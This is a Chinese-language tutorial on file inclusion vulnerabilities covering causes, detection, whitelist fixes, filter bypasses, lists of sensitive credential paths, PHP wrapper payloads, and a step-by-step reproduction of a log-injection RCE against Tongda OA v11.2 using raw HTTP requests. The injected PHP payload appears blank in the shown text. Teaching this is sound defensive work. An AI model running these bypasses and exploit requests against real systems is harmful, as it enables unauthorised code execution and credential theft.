一、漏洞原理

1.1 核心

文件包含漏洞是指程序中需要包含其他文件(代码,信息等等),然而包含文件的路径受用户输入控制,攻击者可以使其包含恶意文件,从而造成敏感信息泄露甚至任意代码执行。分为两类:

本地文件包含(LFI, Local File Inclusion):攻击者能够让程序包含服务器本地文件(例如配置、日志、源码等)。

远程文件包含(RFI, Remote File Inclusion):程序支持包含远程位置的文件(通过 HTTP/FTP 等协议),可理解为可访问互联网上的内容,攻击者可能引入远程代码。

核心风险来自:被包含文件路径用户可控。

1.2 原理详解

文件包含有两个条件:

包含/读取:应用调用语言/框架的读取或包含函数(例如 PHP 的 include/require、Python 的 open/importlib、Node 的 fs.readFile/require 等)。

路径用户可控:用户可通过修改url参数等方法控制被包含的文件路径。

达到这两个条件之后,文件包含漏洞就形成了。如果被包含文件不被解析执行,那么会造成敏感信息泄露。如果被包含文件被解析执行了,那么就会造成任意代码执行。

1.3 小例子

不安全示例

// vulnerable.php — 示例

$page = $_GET['page']; // 用户可控输入

include "/var/www/html/pages/" . $page; // 直接拼接包含

那么我通过GET方法访问 https://xxx.com/path/vulnerable.php?page=file_name 就可以访问执行任意文件。当然,前提是你知道对应文件路径(不知道的情况在2.2中说明)。

安全示例

// safer.php

$allowed = [

'home' => '/var/www/html/pages/home.php',

'about' => '/var/www/html/pages/about.php',

];

$page = $_GET['page'] ?? 'home';

if (!array_key_exists($page, $allowed)) {

// 返回 404 或默认页

http_response_code(404);

exit('Not found');

}

// 使用白名单映射,避免直接拼接用户输入

include $allowed[$page];

这里使用白名单,避免了文件路径用户完全可控,就不造成文件包含漏洞了。推荐使用白名单而非黑名单。

二、检测与危害

2.1 检测方法

主要介绍人工检测方式而非工具使用。不仅是文件包含漏洞,文件读取漏洞也可以参考以下测试方法。

2.1.1 黑盒测试

找到对应接口/功能点

浏览应用页面与接口,着重关注那些接受“文件名、路径、模块、模板、页名、lang/theme、download、view”等参数的请求。

关注文件上传、文件查看、日志下载、动态模板选择、插件/主题加载、日志查看器等功能面,这类功能常与文件路径相关联。

记录每个入口的请求方法(GET/POST/头/表单/JSON)、参数名与参数位置(查询串、路径段、请求体、Headers、Cookies)。

构造输入类别并逐类测试

本步骤致力于发现是本地/远程文件包含,是否支持目录穿越,是否支持各种协议。对每一种变体,都要对比并记录:HTTP 状态码、返回体长度、响应头(Content-Type、Server、X-Powered-By 等)、页面内容差异与错误信息(堆栈、路径展示等)。

基础路径变体:提交看起来像文件/路径的字符串并观察是否有文件内容回显或与正常页面不同的错误/响应体(比如部分源码、配置项、路径错误信息等)。

目录穿越类变体:提交会导致解析为非预期目录的变体(包括编码变体、不同分隔符等),观察是否能访问应用根目录外的资源(用响应差异做推断)。

远程/协议类变体:尝试用不同的协议标识(本地 scheme、远程 scheme 等)作为输入,观察应用是否尝试从外部获取资源或返回外部资源的内容(以判断是否允许远程包含)。

特殊文件类型变体:提交类似配置、日志或常见资源名的输入(按应用上下文判断),观察是否有信息泄露迹象。

协议测试:测试http/https, gopher, file, ftp, php协议等等,表见4.3

识别包含 vs 读取的迹象

直接内容回显:响应中出现了非预期的文本片段(例如源码片段、配置项、版本信息) → 可能存在文件读取/包含。

错误/堆栈信息泄露:响应中包含文件系统路径、函数名或错误堆栈 → 程序在尝试访问文件并抛出异常,可能可被进一步利用或用于确认存在漏洞。

行为差异:对同一入口提交不同类别输入导致明显不同的响应(例如不同的 HTTP 头、长短、定制错误页面)→ 表明服务器在对输入进行路径解析或文件操作。

外部依赖表现:在尝试“远程”类别时,如果出现网络延迟、外部错误或返回的内容明显来源于外部 → 说明应用可能支持从外部载入资源。

2.1.2 代码审计

必要条件审查

查找所有与包含/读取相关的 API 调用(例如 PHP 的 include/require/require_once/include_once,Node 的 fs.readFile/require,Python 的 open/importlib 等)。

追踪这些调用处传入的变量来源(是否直接来源用户输入或受外部影响)。

检查是否存在缺乏白名单、路径规范化或权限检查的路径拼接。

配置审查

检查运行时配置,是否允许远程包含(例如老式 PHP allow_url_include)或是否将可写目录暴露给 web 进程。

审核文件/目录权限,避免 web 进程能够读写敏感路径。

2.2 利用与危害

信息泄露:被包含文件的内容可能包含密钥、配置、数据库凭据或源码注释等敏感信息;

代码执行:如果应用将包含当作可执行脚本(例如 PHP include),并且攻击者能控制被包含文件的内容(或者包含远程可执行代码),可能导致远程代码执行(RCE);

链式攻击:文件包含常与目录穿越、文件上传、日志注入等漏洞连用,放大影响。尤其是文件上传,可以通过文件上传上传一个图片马并得到对应路径,之后使用文件包含漏洞包含图片马,图片马被解析之后就可以进行远程代码执行。

三、修复与绕过

3.1 修复方式

白名单优先

最可靠的做法是把可包含的文件限定为一份显式映射(例如键名 -> 绝对路径),不要直接使用用户输入作为路径部分。

路径规范化与根目录约束

在接受路径前先做规范化(例如解析绝对路径),然后验证该路径确实位于允许的根目录之下。对于存在符号链接的文件系统,考虑解析真实路径(realpath)再验证。

禁用远程包含

在运行时或应用配置中禁止包含远程 URL(如PHP)。

协议控制

禁用用不到的协议,比如gopher, php协议等

最小权限原则

Web 进程仅对其运行所需的文件与目录拥有读取/写入权限;配置文件、密钥、私有证书等应尽可能放在 web 用户不可直接访问的目录,并对访问做好权限控制。

3.2 绕过技巧

输入混淆:对于黑名单的防御手段。可以尝试通过 URL 编码、双重编码、大小写混淆或使用不同路径分隔符来绕过简单的字符串比较。

%00截断:对于php搭建的网站且php版本小于5.3,可以尝试%00截断,例如

$file=$_GET['file'];

include($file.".html");

?>

可以使用https://xxx.com/path/vul.php?file=xxx.php%00 这样后面的.html就会被舍弃了,相当于直接访问xxx.php

3. http/https截断:对于http/https协议,可以用?进行截断,例如

$file=$_GET['file'];

include($file.".html");

?>

可以使用https://xxx.com/path/vul.php?file=https://xxx.com/xxx.php? 这样后面的.html就会被舍弃了,相当于直接访问https://xxx.com/xxx.php

四、补充说明

4.1 Windows / Linux 敏感路径

4.1.1 windows

C:\boot.ini // 查看系统启动配置(Windows XP/旧版相关)

C:\Windows\System32\config\SAM // 本地账号数据库(含离线哈希)

C:\Windows\System32\config\security // 本地安全策略、凭据相关

C:\Windows\System32\config\software // 注册表备份(系统/软件配置)

C:\Windows\System32\config\system // 注册表系统分支(系统配置)

C:\Windows\repair\SAM // 系统安装相关的凭据备份(历史/备份)

C:\Windows\repair\System // 系统备份文件

C:\Windows\php.ini // PHP 全局配置(若在 Windows 上安装 PHP)

C:\inetpub\wwwroot\web.config // IIS 网站配置(站点设置、连接字符串等)

C:\windows\system32\inetsrv\MetaBase.xml // IIS(旧版)配置存储

C:\Program Files\MySQL\MySQL Server X.Y\my.ini // MySQL 配置(Windows 默认安装路径示例)

C:\Program Files\MySQL\MySQL Server X.Y\data\mysql\user.MYD // MySQL 用户表文件(可能含密码相关信息,视引擎而定)

C:\Users\<用户名>\.ssh\id_rsa // 用户 SSH 私钥(若存在)

C:\Users\<用户名>\.aws\credentials // AWS CLI 本地凭证(若配置)

C:\Users\<用户名>\AppData\Roaming\ // 应用配置/凭证(例如浏览器/客户端本地存储)

C:\ProgramData\Docker\config\daemon.json // Docker 配置(含可能敏感配置)

C:\ProgramData\Jenkins\.ssh\ // CI/工具相关凭证目录(视安装而定)

C:\inetpub\wwwroot\.env // 应用环境文件(若被放置于 webroot,含密钥/凭据)

C:\inetpub\wwwroot\.git\ // 源码仓库裸露(会泄露历史与配置)

4.1.2 Linux

/etc/passwd // 用户账户列表(不含哈希)

/etc/shadow // 密码哈希(非常敏感)

/etc/sudoers // sudo 权限配置

/etc/ssh/sshd_config // SSH 服务配置(访问控制相关)

/root/.ssh/id_rsa // root SSH 私钥(极敏感)

/home//.ssh/id_rsa // 用户 SSH 私钥

/etc/ssh/ssh_config // SSH 客户端/服务配置

/etc/ssh/authorized_keys // 授权密钥列表(可直接登录的公钥)

/etc/ssl/private/ // TLS/SSL 私钥存放目录(视发行版)

/etc/ssl/certs/ // 证书目录

/etc/nginx/nginx.conf // Nginx 主配置

/etc/nginx/sites-enabled/ // Nginx 虚拟主机配置(站点明细)

/etc/httpd/conf/httpd.conf // Apache 主配置(RHEL/CentOS 路径)

/etc/apache2/apache2.conf // Apache 主配置(Debian/Ubuntu 路径)

/etc/apache2/sites-enabled/ // Apache 虚拟主机配置

/etc/php.ini // PHP 全局配置

/var/www/html/ // 默认 webroot(可能包含源码、配置或上传文件)

/srv/www/ // 其它常见 web 根目录

/var/log/ // 系统与服务日志(auth.log、syslog、messages 等)

/var/log/nginx/ // Nginx 访问/错误日志(可能含敏感请求)

/var/log/apache2/ // Apache 日志目录

/var/log/auth.log // 认证相关日志(可能含尝试/错误信息)

/var/lib/mysql/ // MySQL 数据文件目录(含 .ibd/.MYD/.MYI 等)

/etc/mysql/my.cnf // MySQL 配置(或 /etc/my.cnf,视发行版)

/var/lib/postgresql/ // PostgreSQL 数据目录

/var/www/.env // 应用环境变量文件(若放在 webroot,含 DB/API 密钥)

/tmp/ // 临时目录(可利用作写入-包含链)

/var/tmp/ // 临时目录(可能长期存在的临时文件)

/root/.bash_history // root 命令历史(可能含密码/敏感命令)

/home/*/.bash_history // 用户命令历史(可能含敏感信息)

/etc/letsencrypt/live//privkey.pem // Let's Encrypt 私钥(如果存在)

/etc/kubernetes/admin.conf // kubeconfig 管理凭证(Kubernetes 环境)

/var/lib/docker/volumes/ // Docker 卷(可能包含持久化数据)

/var/run/docker.sock // Docker socket(对容器管理极敏感)

/etc/systemd/system/ // 自定义 systemd 服务(含运行命令/参数)

/opt//config/ // 第三方/自定义应用配置目录(视部署而定)

/backup/ or /var/backups/ // 备份存放位置(备份含历史配置/数据)

4.2 PHP协议用法

协议

测试PHP版本

allow_url_fopen

allow_url_include

用法

file://

>=5.2

off/on

off/on

?file=file://D:/soft/phpStudy/WWW/64/phpcode.txt

php://filter

>=5.2

off/on

off/on

?file=php://filter/read=convert.base64-encode/resource=/index.php

php://input

>=5.2

off/on

on

?file=php://input 【POST DATA

zip://

>=5.2

off/on

off/on

?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt

compress.bzip2://

>=5.2

off/on

off/on

?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2【or】?file=compress.bzip2://file.bz2

compress.zlib://

>=5.2

off/on

off/on

?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz【or】?file=compress.zlib://file.gz

data://

>=5.2

on

on

?file=data://text/plain,【or】?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=也可以:?file=data:text/plain,【or】?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4.3 各协议介绍表

协议 / Wrapper

描述(用途)

常见于 LFI / RFI

潜在影响(安全角度)

备注 / 防御要点

file://

直接指定本地文件系统路径的 scheme。

LFI 主体(读取本地文件)

信息泄露(本地敏感文件可被读取)

验证路径、使用白名单、限制根目录;注意符号链接。

http:// / https://

通过 HTTP(S) 从远程服务器获取资源。

RFI(远程包含)

可导致远程代码注入/执行(若服务端执行包含内容)或泄露远程文件内容

禁用远程包含(如 PHP 的 allow_url_include),限制出站访问,使用网络隔离。

ftp:// / ftps://

通过 FTP(S) 协议获取远程文件。

RFI(远程包含)

与 HTTP 类似,可能引入远程代码或泄露

禁用或限制外部协议访问;关闭未使用的传输扩展。

gopher://

古老协议,可发送任意字节流(历史上用于绕过某些过滤器以触发远程命令/行为)。

RFI(历史上常被滥用作探测/链式利用)

可用于触发特殊网络行为或与服务交互,提升利用场景复杂性

防御时应阻断对非必要协议的访问;在网络层过滤出站协议。

data:

数据 URI,用于内联小型数据(Base64/URL 编码)。

RFI/LFI 视实现而定

可内联代码或内容,若被包含并解释可能导致执行或注入

阻断 data 协议解析,或者在文件包含逻辑中明确拒绝含有 : 的输入。

php://(PHP 专用 wrapper)

PHP 内置多种 stream wrapper(php://filter、php://input、php://memory 等)。

LFI 相关(特别是 php://filter 用于读取源码/绕过保护)

可导致源码泄露、从输入流读取内容或间接读出敏感信息

在 PHP 中禁用远程包含;对包含字符串做严格白名单;审查是否需要 php://* 功能。

php://filter

可对流应用过滤器(例如 base64 编码输出),历史上用于将 PHP 源码编码后泄露。

LFI(源码泄露场景)

源码泄露、敏感信息暴露

防护同上;限制可包含的文件类型与路径。

php://input

访问原始 POST 数据流(可用于某些上下文读取请求体)。

LFI 辅助

可在特定条件下配合其他漏洞造成影响

在包含逻辑中拒绝非文件路径的 wrapper。

phar://

PHP 的打包/归档访问 wrapper,可访问 phar 包内文件。

LFI(若应用解析 phar metadata)

在特定条件下可触发对象反序列化或其它意外行为

更新 PHP 版本;限制可读目录并检查上传内容。

zip:// / compress.zlib:// 等归档/压缩 wrapper

用于访问压缩包内文件或压缩流。

LFI(在支持的环境下)

可引导读取压缩包内敏感文件

防止未授权上传或包含压缩内容;验证文件来源。

expect://(PHP)

可执行外部命令并把结果作为流返回(需 expect 扩展)。

RFI/LFI(极危险)

可导致命令执行(RCE)

禁用相关扩展;彻底拒绝可执行类 wrapper。

smb:// / smbs:// / sftp:// / ssh2.sftp://

通过网络文件共享(SMB、SFTP 等)访问远程文件。

RFI(远程包含)

远程代码/内容引入或敏感文件读取

网络层限制对内部/外部文件共享的访问;最小化跨网段访问权限。

data:(重复说明)

(见上)

其它自定义或扩展 wrapper

例如语言/平台或扩展新增的 stream wrapper

视情况而定

取决于 wrapper 的行为(可读取、执行、反序列化等)

在依赖库/扩展中审查可用 wrapper 列表并禁用不必要的扩展。

感谢阅读,有问题欢迎评论。

五、漏洞复现

5.1 通达OA漏洞复现--日志注入

接下来对通达OA v11.2 getway.php 远程文件包含漏洞进行复现,采用日志注入的方式,在无需登录的情况下达到RCE。演示环境本地搭建,请勿进行违法行为。

1、下载通达OA 11.2, https://cdndown.tongda2000.com/oa/2019/TDOA11.2.exe ,点击安装

2. 随便发一个请求,内含php payload,之后日志文件会自动进行记录。

payload如下:

GET /aaaaaa?json={}&aa= HTTP/1.1

Host: localhost

sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

Cookie: csrftoken=03SltwpAb67ZVPwdTrbqF88IMJ3jWmfL

Connection: keep-alive

路径什么的可以随便填,只要让日志记录到对应的php payload即可。payload的作用是创建一个cmdshell.php,里面是一句话木马

在本地其实可以看到日志如下,已经被成功记录了:

3. 利用文件包含漏洞进行文件包含

不同版本的通达OA文件包含接口gateway.php的路径不同,我使用的v11.2版本,路径为/ispirit/interface/gateway.php。这里被包含文件的路径是由POST方法传递的,我们需要使其包含日志文件,至于为什么用目录穿越,是因为对文件包含的限制做了一个绕过(应用源码中要求存在general或ispirit或module才能包含文件,这里不过多赘述),payload如下(记得加上Content-Type):

POST /ispirit/interface/gateway.php HTTP/1.1

Host: localhost

sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

Cookie: csrftoken=03SltwpAb67ZVPwdTrbqF88IMJ3jWmfL

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 66

json={"url":"/general/../../nginx/logs/oa.error.log"}&cmd=net user

4. 蚁剑连接

第三步远程文件包含日志之后已经将php payload执行了,只需要用蚁剑连接即可